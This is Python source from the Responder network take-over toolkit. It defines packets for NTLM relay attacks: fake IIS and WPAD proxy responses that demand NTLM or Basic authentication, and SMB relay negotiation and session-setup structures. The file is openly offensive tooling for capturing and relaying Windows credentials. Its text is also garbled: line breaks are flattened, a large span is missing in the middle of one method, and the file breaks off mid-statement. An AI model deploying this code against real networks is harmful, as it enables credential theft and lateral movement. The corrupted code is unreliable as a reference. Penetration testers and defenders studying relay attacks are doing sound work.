#!/usr/bin/env python # -*- coding: latin-1 -*- # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct import os import sys from odict import OrderedDict import datetime from base64 import b64decode, b64encode # Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) #Python version if (sys.version_info > (3, 0)): PY2OR3 = "PY3" else: PY2OR3 = "PY2" def StructWithLenPython2or3(endian,data): #Python2... if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: return struct.pack(endian, data).decode('latin-1') ##################HTTP Proxy Relay########################## def HTTPCurrentDate(): Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') return Date #407 section. class WPAD_Auth_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), ("Connection", "Proxy-Connection: close\r\n"), ("Cache-Control", "Cache-Control: no-cache\r\n"), ("Pragma", "Pragma: no-cache\r\n"), ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) class WPAD_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "Proxy-Authenticate: NTLM "), ("Payload", ""), ("Payload-CRLF", "\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) def calculate(self,payload): self.fields["Payload"] = b64encode(payload) #401 section: class IIS_Auth_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) class IIS_Auth_Granted(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), ("Payload", "\n\n\n\nLoading\n\n\n"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) class IIS_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "WWW-Authenticate: NTLM "), ("Payload", ""), ("Payload-CRLF", "\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) def calculate(self,payload): self.fields["Payload"] = b64encode(payload) class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) ##################WEBDAV Relay Packet######################### class WEBDAV_Options_Answer(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), ("Len", "Content-Length: 0\r\n"), ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), ("Connection", "Connection: Keep-Alive\r\n"), ("Content-Type", "Content-Type: text/html\r\n"), ("CRLF", "\r\n"), ]) ##################SMB Relay Packet############################ def midcalc(data): #Set MID SMB Header field. return data[34:36].decode('latin-1') def uidcalc(data): #Set UID SMB Header field. return data[32:34].decode('latin-1') def pidcalc(data): #Set PID SMB Header field. return data[30:32].decode('latin-1') def tidcalc(data): #Set TID SMB Header field. return data[28:30].decode('latin-1') #Response packet. class SMBRelayNegoAns(Packet): fields = OrderedDict([ ("Wordcount", "\x11"), ("Dialect", ""), ("Securitymode", "\x03"), ("MaxMpx", "\x32\x00"), ("MaxVc", "\x01\x00"), ("MaxBuffSize", "\x04\x41\x00\x00"), ("MaxRawBuff", "\x00\x00\x01\x00"), ("SessionKey", "\x00\x00\x00\x00"), ("Capabilities", "\xfd\xf3\x01\x80"), ("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), ("SrvTimeZone", "\xf0\x00"), ("KeyLen", "\x00"), ("Bcc", "\x10\x00"), ("Guid", os.urandom(16).decode('latin-1')), ]) ##Response packet. class SMBRelayNTLMAnswer(Packet): fields = OrderedDict([ ("Wordcount", "\x04"), ("AndXCommand", "\xff"), ("Reserved", "\x00"), ("Andxoffset", "\x5f\x01"), ("Action", "\x00\x00"), ("SecBlobLen", "\xea\x00"), ("Bcc", "\x34\x01"), ###NTLMPACKET ("Data", ""), ###NTLMPACKET ]) #Request packet (no calc): class SMBSessionSetupAndxRequest(Packet): fields = OrderedDict([ ("Wordcount", "\x0c"), ("AndXCommand", "\xff"), ("Reserved","\x00" ), ("AndXOffset", "\xec\x00"), ("MaxBuff","\xff\xff"), ("MaxMPX", "\x32\x00"), ("VCNumber","\x00\x00"), ("SessionKey", "\x00\x00\x00\x00"), ###NTLMPACKET ("Data", ""), ###NTLMPACKET ]) class SMBSessEmpty(Packet): fields = OrderedDict([ ("Empty", "\x00\x00\x00"), ]) ##################SMB Request Packet########################## class SMBHeader(Packet): fields = OrderedDict([ ("proto", "\xff\x53\x4d\x42"), ("cmd", "\x72"), ("errorcode", "\x00\x00\x00\x00" ), ("flag1", "\x08"), ("flag2", "\x01\xc8"), ("pidhigh", "\x00\x00"), ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("Reserved", "\x00\x00"), ("tid", "\x00\x00"), ("pid", "\x3c\x1b"), ("uid", "\x00\x00"), ("mid", "\x00\x00"), ]) class SMBNegoCairo(Packet): fields = OrderedDict([ ("Wordcount", "\x00"), ("Bcc", "\x62\x00"), ("Data", "") ]) def calculate(self): self.fields["Bcc"] = StructWithLenPython2or3(" 255: self.fields["ApplicationHeaderTagLenOfLen"] = "\x82" self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-0) else: self.fields["ApplicationHeaderTagLenOfLen"] = "\x81" self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-3) if len(NTLMData)-8 > 255: self.fields["AsnSecMechLenOfLen"] = "\x82" self.fields["AsnSecMechLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-4) else: self.fields["AsnSecMechLenOfLen"] = "\x81" self.fields["AsnSecMechLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-6) if len(NTLMData)-12 > 255: self.fields["ChoosedTagLenOfLen"] = "\x82" self.fields["ChoosedTagLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-8) else: self.fields["ChoosedTagLenOfLen"] = "\x81" self.fields["ChoosedTagLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-9) if len(NTLMData)-16 > 255: self.fields["ChoosedTag1StrLenOfLen"] = "\x82" self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-12) else: self.fields["ChoosedTag1StrLenOfLen"] = "\x81" self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-12) CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"]) SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"]) ## Packet len self.fields["andxoffset"] = StructWithLenPython2or3("